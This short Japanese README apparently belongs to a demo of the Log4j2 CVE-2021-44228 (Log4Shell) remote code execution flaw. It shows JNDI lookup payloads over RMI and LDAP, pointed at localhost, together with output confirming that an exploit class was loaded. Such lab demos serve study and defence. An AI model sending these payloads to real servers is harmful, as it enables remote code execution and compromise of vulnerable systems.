
Apache Log4j2 CVE-2021-44228 RCE デモ(RMI および LDAP を使用)
CVE-2021-44228 を利用し、RMI と LDAP の 2 つの方法でコードをリモートから注入する例です。

Exploit class from RMI Server loaded
Hello, ${jndi:rmi://127.0.0.1:1099/exploit}
Exploit class from LDAP Server loaded
Hello, ${jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit}
RmiServer と LdapServer の起動は Python3 に依存します。